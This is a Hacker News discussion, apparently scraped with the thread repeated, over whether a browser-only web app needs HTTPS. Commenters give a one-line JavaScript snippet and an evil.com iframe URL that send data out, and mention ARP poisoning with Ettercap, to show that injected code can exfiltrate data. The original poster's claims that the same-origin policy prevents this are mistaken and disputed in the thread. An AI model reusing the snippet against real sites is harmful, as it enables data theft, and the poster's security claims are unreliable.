15 ms·

I have recently adopted HTTPS on my own site, because there are substantial performance benefits with HTTP/2 that are only available over HTTPS. There are many

I have recently adopted HTTPS on my own site, because there are substantial performance benefits with HTTP/2 that are only available over HTTPS. There are many arguments in the article, and more that he links to, arguing for the security benefits of HTTPS. HTTPS is good for protecting content. One very serious argument that HTTPS evangelists avoid is when there is no content to protect the security benefits of HTTPS evaporate. My site is a web application that stores all user data in their browser. Their data does not come back to the server. The only thing that crosses the wire is a request for the application code and a response with that code. I would argue this model of application is substantially more secure that sending data across the wire regardless of whether that transmission is encrypted. There is nothing individually identifiable or preferential about the application code. The content, identifiable information, and personal/private details remain with the user where they reside anyways. --- EDIT Before everybody jumps on the MITM attack bandwagon be aware of https://en.wikipedia.org/wiki/Same-origin_policy https://en.wikipedia.org/wiki/Same-origin_policy A man in the middle attack can void the integrity of data crossing the wire, but it cannot trivially break privacy with simple modifications to code. This is by design in the architecture of the web. The only violation in question is code integrity (availability portion of the security CIA triad). Fortunately, this is a solved problem so long as the application is open source. If an integrity violation occurs that renders the application defective simply compare the transmitted application code against the stored publicly available application code. This is made easier when the application in question is a diff tool that can fetch code from across the wire.

dvfjsdhgfv 8y ago
Well, the Same origin policy may protect the users a bit if the attack takes place after they've downloaded the app, but if they haven't - the attacker can modify it and they won't even notice.
skuzye 8y ago
If you don't use HTTPS you are also forgoing the integrity check and not only the encryption. Any router standing between your users and your servers could inject anything into your code, html, etc.
- austincheney 8y ago
  There is the possibility of corrupting the integrity of the application code in this way, but this doesn't void privacy thanks to the same origin policy. https://en.wikipedia.org/wiki/Same-origin_policy https://en.wikipedia.org/wiki/Same-origin_policy If integrity of the application is violated the application is broken or defective. Fortunately the application is open source and so integrity violations can be easily verified. More fortunately still the application is a diff tool, so it can perform self validation across the wire by comparing the transmitted application code against the stored application code.
  - skuzye 8y ago
    I may be misunderstanding but I don't believe the Same-origin policy will protect you there. You're browser wouldn't be able to tell whether the JS it's reading is the real one or the modified one. So it would be all "same origin" for it. It won't stop a modified code from pushing data to anywhere in the web either. > More fortunately still the application is a diff tool, so it can perform self validation Yes, if the application has been loaded before but I feel like it would be a half-baked HSTS implementation. Edit: it was too convoluted
    - austincheney 8y ago
      Also if the attack did take place at the router then HTTPS certainly is irrelevant regardless of what the browser is doing. HTTP and HTTPS ride over TCP. If you can modify code at the router then you can change the TCP packets to spoof the page address or HTTP response and sidestep HTTPS or the requested domain entirely. https://en.wikipedia.org/wiki/Transport_Layer_Security https://en.wikipedia.org/wiki/Transport_Layer_Security Simply modify the TCP connection in transit to return other TSL encrypted data than what the user asked for. Really, if you are already at the router you can essentially do anything to the user's traffic and modify it in any way except read encrypted data. Simply redirect the user to a spoofed domain with a spoofed page running malicious code sent as HTTPS. Then you can gather all the privacy data you want through HTTPS.
jsjohnst 8y ago
> The only thing that crosses the wire is a request for the application code and a response with that code. If someone man-in-the-middled the downloading of the app code (trivial, if not HTTPS), then none of those constraints you later mention would be true and the user’s data is now compromised.
- austincheney 8y ago
  In the case described there is no user data crossing the wire to compromise. Secondly, a man in the middle attack is only valid (in this case) if you want to modify the application code in transit to corrupt the application itself. This is defacement and nontrivial. Finally, you cannot use this form of attack to break privacy. Others on here have attempted examples, but they have all failed. If you can break same origin policy submit a bug to Google. That would be a significant defect that would warrant their top tier bug bounty. https://en.wikipedia.org/wiki/Man-in-the-middle_attack https://en.wikipedia.org/wiki/Man-in-the-middle_attack
  - UncleMeat 8y ago
    There is no user data crossing the wire. You are instead sending code that the user will execute. An attacker can substitute literally any code they wish. This new code can collect user data and send it over the wire literally anywhere. SOP offers zero protection against this. Just load evil.com?data=XYZ in an iframe.
    - austincheney 8y ago
      Like this? https://news.ycombinator.com/item?id=17861667 https://news.ycombinator.com/item?id=17861667
  - jsjohnst 8y ago
    If the app code goes over HTTP, it makes zero difference if you send data or not in your app. Not exactly the same scenario, but very close to my point is a situation a while back where JavaScript was injected into non-SSL web traffic that was used to DDoS Github[0]. Seriously, use HTTPS for everything. Not to be rude at all (seriously!), but it’s pretty obvious by this thread and the other you linked to that you don’t have the knowledge/experience on this topic, so do your users a favor and trust when I say you need to be using HTTPS. [0] https://www.theregister.co.uk/2015/03/27/github_under_fire_from_weaponized_great_firewall/ https://www.theregister.co.uk/2015/03/27/github_under_fire_f...
gsnedders 8y ago
> One very serious argument that HTTPS evangelists avoid is when there is no content to protect the security benefits of HTTPS evaporate. My site is a web application that stores all user data in their browser. Their data does not come back to the server. The only thing that crosses the wire is a request for the application code and a response with that code. I would argue this model of application is substantially more secure that sending data across the wire regardless of whether that transmission is encrypted. That's a case where HTTPS really is essential! If you serve your application code over HTTP, then I can MiTM that connection and replace your application code with something that reads all the user data from the user's browser and then sends it to evil.com.
- austincheney 8y ago
  No. https://en.wikipedia.org/wiki/Same-origin_policy https://en.wikipedia.org/wiki/Same-origin_policy
  - dragonwriter 8y ago
    How is the same origin policy helping when the attacker is impersonating your domain to the target?
    - austincheney 8y ago
      How would the attacker impersonate your domain? They would need configuration access to a router in the path to perform DNS actions in order to accomplish this. If they had that would they would have their eye on much bigger prizes than merely impersonating an Apache server. If they did actually have that they could impersonate your domain, your site content, and your HTTPS trust with a spoofed cert. In that case HTTPS is more harm than good because you are still completely compromised, but with a false trust relationship.
      - icebraining 8y ago
        They would need configuration access to a router in the path to perform DNS actions in order to accomplish this. Nope, they just need to poison its ARP cache. You can do that easily with a tool like Ettercap, if the router is in the same LAN as your machine. Every request (DNS, HTTP, etc) from the victim machine will now go to yours, and you control the responses it gets. Note that they aren't impersonating the domain to the whole world (hence they can't get a valid certificate, since no CA will accept their request), only to a local computer.
askmike 8y ago
> My site is a web application that stores all user data in their browser. Their data does not come back to the server. If you weren't using HTTPS a very simple MitM attack would send all of that data straight to any server. HTTPS doesn't just prevent intercepting AJAX communications, it prevents anyone from changing your webapp (js file) into something that uploads everything to evilcorp.com.
- austincheney 8y ago
  No. https://en.wikipedia.org/wiki/Same-origin_policy https://en.wikipedia.org/wiki/Same-origin_policy
  - slig 8y ago
    How does same-origin policy (on a MITM'd website) prevents this? (new Image()).src = 'https://example.com/data.php?payload=' + JSON.stringify(data);
    - bn-usd-mistake 8y ago
      It doesn't because Same-origin protects data on example.com, not on the embedding page (in your example). It is not a security measure that aims to prevent the issue mentioned by the grand parent post
    - austincheney 8y ago
      Here is how: https://news.ycombinator.com/edit?id=17861667 https://news.ycombinator.com/edit?id=17861667
  - bn-usd-mistake 8y ago
    Same-origin is the other way around, it protects evilcorp.com from being called by non-https.com. So a simple CORS setup on evilcorp.com would indeed allow you to send all user data by MITMing non-https.com
    - austincheney 8y ago
deleted 8y ago
[deleted]
dragonwriter 8y ago
> One very serious argument that HTTPS evangelists avoid is when there is no content to protect the security benefits of HTTPS evaporate. If there is no content, you have no site, so the issue is moot. > My site is a web application that stores all user data in their browser. Their data does not come back to the server. The only thing that crosses the wire is a request for the application code and a response with that code. The application is content, and the thing you need HTTPS to protect. Otherwise, the application the user actually runs could be anything an attacker wants. > I would argue this model of application is substantially more secure that sending data across the wire regardless of whether that transmission is encrypted. It's not, because the code you send controls what happens with the data. > A man in the middle attack can void the integrity of data crossing the wire, but it cannot trivially break privacy with simple modifications to code. It can, because in an MITM the attacker impersonates your site. The therefore can bypass any protection offered the same origin policy, because they own your origin.
- austincheney 8y ago
  > if there is no content, you have no site, so the issue is moot. That isn’t true either as TLS protects http headers in addition to the http body. Modification of requested content does not void the same origin policy. Just because you could modify page content does not mean you could transmit that content to an alternate location.
  - dragonwriter 8y ago
    > Just because you could modify page content does not mean you could transmit that content to an alternate location. Yes, if I can masquerade as your domain, I can have the data transmitted back to the same server conducting the attack (which is the “same origin”), which can then send it anywhere else.
    - austincheney 8y ago
      > Yes, if I can masquerade as your domain How would you do that? If you could do that you could also masquerade the HTTPS connection and simply run HTTPS at the spoofed server using the spoofed X.509 cert from the legitimate web server.

dvfjsdhgfv 8y ago

Well, the Same origin policy may protect the users a bit if the attack takes place after they've downloaded the app, but if they haven't - the attacker can modify it and they won't even notice.

skuzye 8y ago

If you don't use HTTPS you are also forgoing the integrity check and not only the encryption. Any router standing between your users and your servers could inject anything into your code, html, etc.

austincheney 8y ago
There is the possibility of corrupting the integrity of the application code in this way, but this doesn't void privacy thanks to the same origin policy. https://en.wikipedia.org/wiki/Same-origin_policy https://en.wikipedia.org/wiki/Same-origin_policy If integrity of the application is violated the application is broken or defective. Fortunately the application is open source and so integrity violations can be easily verified. More fortunately still the application is a diff tool, so it can perform self validation across the wire by comparing the transmitted application code against the stored application code.
- skuzye 8y ago
  I may be misunderstanding but I don't believe the Same-origin policy will protect you there. You're browser wouldn't be able to tell whether the JS it's reading is the real one or the modified one. So it would be all "same origin" for it. It won't stop a modified code from pushing data to anywhere in the web either. > More fortunately still the application is a diff tool, so it can perform self validation Yes, if the application has been loaded before but I feel like it would be a half-baked HSTS implementation. Edit: it was too convoluted
  - austincheney 8y ago
    Also if the attack did take place at the router then HTTPS certainly is irrelevant regardless of what the browser is doing. HTTP and HTTPS ride over TCP. If you can modify code at the router then you can change the TCP packets to spoof the page address or HTTP response and sidestep HTTPS or the requested domain entirely. https://en.wikipedia.org/wiki/Transport_Layer_Security https://en.wikipedia.org/wiki/Transport_Layer_Security Simply modify the TCP connection in transit to return other TSL encrypted data than what the user asked for. Really, if you are already at the router you can essentially do anything to the user's traffic and modify it in any way except read encrypted data. Simply redirect the user to a spoofed domain with a spoofed page running malicious code sent as HTTPS. Then you can gather all the privacy data you want through HTTPS.

jsjohnst 8y ago

> The only thing that crosses the wire is a request for the application code and a response with that code. If someone man-in-the-middled the downloading of the app code (trivial, if not HTTPS), then none of those constraints you later mention would be true and the user’s data is now compromised.

austincheney 8y ago
In the case described there is no user data crossing the wire to compromise. Secondly, a man in the middle attack is only valid (in this case) if you want to modify the application code in transit to corrupt the application itself. This is defacement and nontrivial. Finally, you cannot use this form of attack to break privacy. Others on here have attempted examples, but they have all failed. If you can break same origin policy submit a bug to Google. That would be a significant defect that would warrant their top tier bug bounty. https://en.wikipedia.org/wiki/Man-in-the-middle_attack https://en.wikipedia.org/wiki/Man-in-the-middle_attack
- UncleMeat 8y ago
  There is no user data crossing the wire. You are instead sending code that the user will execute. An attacker can substitute literally any code they wish. This new code can collect user data and send it over the wire literally anywhere. SOP offers zero protection against this. Just load evil.com?data=XYZ in an iframe.
  - austincheney 8y ago
    Like this? https://news.ycombinator.com/item?id=17861667 https://news.ycombinator.com/item?id=17861667
- jsjohnst 8y ago
  If the app code goes over HTTP, it makes zero difference if you send data or not in your app. Not exactly the same scenario, but very close to my point is a situation a while back where JavaScript was injected into non-SSL web traffic that was used to DDoS Github[0]. Seriously, use HTTPS for everything. Not to be rude at all (seriously!), but it’s pretty obvious by this thread and the other you linked to that you don’t have the knowledge/experience on this topic, so do your users a favor and trust when I say you need to be using HTTPS. [0] https://www.theregister.co.uk/2015/03/27/github_under_fire_from_weaponized_great_firewall/ https://www.theregister.co.uk/2015/03/27/github_under_fire_f...

gsnedders 8y ago

> One very serious argument that HTTPS evangelists avoid is when there is no content to protect the security benefits of HTTPS evaporate. My site is a web application that stores all user data in their browser. Their data does not come back to the server. The only thing that crosses the wire is a request for the application code and a response with that code. I would argue this model of application is substantially more secure that sending data across the wire regardless of whether that transmission is encrypted. That's a case where HTTPS really is essential! If you serve your application code over HTTP, then I can MiTM that connection and replace your application code with something that reads all the user data from the user's browser and then sends it to evil.com.

austincheney 8y ago
No. https://en.wikipedia.org/wiki/Same-origin_policy https://en.wikipedia.org/wiki/Same-origin_policy
- dragonwriter 8y ago
  How is the same origin policy helping when the attacker is impersonating your domain to the target?
  - austincheney 8y ago
    How would the attacker impersonate your domain? They would need configuration access to a router in the path to perform DNS actions in order to accomplish this. If they had that would they would have their eye on much bigger prizes than merely impersonating an Apache server. If they did actually have that they could impersonate your domain, your site content, and your HTTPS trust with a spoofed cert. In that case HTTPS is more harm than good because you are still completely compromised, but with a false trust relationship.
    - icebraining 8y ago
      They would need configuration access to a router in the path to perform DNS actions in order to accomplish this. Nope, they just need to poison its ARP cache. You can do that easily with a tool like Ettercap, if the router is in the same LAN as your machine. Every request (DNS, HTTP, etc) from the victim machine will now go to yours, and you control the responses it gets. Note that they aren't impersonating the domain to the whole world (hence they can't get a valid certificate, since no CA will accept their request), only to a local computer.

askmike 8y ago

> My site is a web application that stores all user data in their browser. Their data does not come back to the server. If you weren't using HTTPS a very simple MitM attack would send all of that data straight to any server. HTTPS doesn't just prevent intercepting AJAX communications, it prevents anyone from changing your webapp (js file) into something that uploads everything to evilcorp.com.

austincheney 8y ago
No. https://en.wikipedia.org/wiki/Same-origin_policy https://en.wikipedia.org/wiki/Same-origin_policy
- slig 8y ago
  How does same-origin policy (on a MITM'd website) prevents this? (new Image()).src = 'https://example.com/data.php?payload=' + JSON.stringify(data);
  - bn-usd-mistake 8y ago
    It doesn't because Same-origin protects data on example.com, not on the embedding page (in your example). It is not a security measure that aims to prevent the issue mentioned by the grand parent post
  - austincheney 8y ago
    Here is how: https://news.ycombinator.com/edit?id=17861667 https://news.ycombinator.com/edit?id=17861667
- bn-usd-mistake 8y ago
  Same-origin is the other way around, it protects evilcorp.com from being called by non-https.com. So a simple CORS setup on evilcorp.com would indeed allow you to send all user data by MITMing non-https.com
  - austincheney 8y ago

deleted 8y ago

[deleted]

dragonwriter 8y ago

> One very serious argument that HTTPS evangelists avoid is when there is no content to protect the security benefits of HTTPS evaporate. If there is no content, you have no site, so the issue is moot. > My site is a web application that stores all user data in their browser. Their data does not come back to the server. The only thing that crosses the wire is a request for the application code and a response with that code. The application is content, and the thing you need HTTPS to protect. Otherwise, the application the user actually runs could be anything an attacker wants. > I would argue this model of application is substantially more secure that sending data across the wire regardless of whether that transmission is encrypted. It's not, because the code you send controls what happens with the data. > A man in the middle attack can void the integrity of data crossing the wire, but it cannot trivially break privacy with simple modifications to code. It can, because in an MITM the attacker impersonates your site. The therefore can bypass any protection offered the same origin policy, because they own your origin.

austincheney 8y ago
> if there is no content, you have no site, so the issue is moot. That isn’t true either as TLS protects http headers in addition to the http body. Modification of requested content does not void the same origin policy. Just because you could modify page content does not mean you could transmit that content to an alternate location.
- dragonwriter 8y ago
  > Just because you could modify page content does not mean you could transmit that content to an alternate location. Yes, if I can masquerade as your domain, I can have the data transmitted back to the same server conducting the attack (which is the “same origin”), which can then send it anywhere else.
  - austincheney 8y ago
    > Yes, if I can masquerade as your domain How would you do that? If you could do that you could also masquerade the HTTPS connection and simply run HTTPS at the spoofed server using the spoofed X.509 cert from the legitimate web server.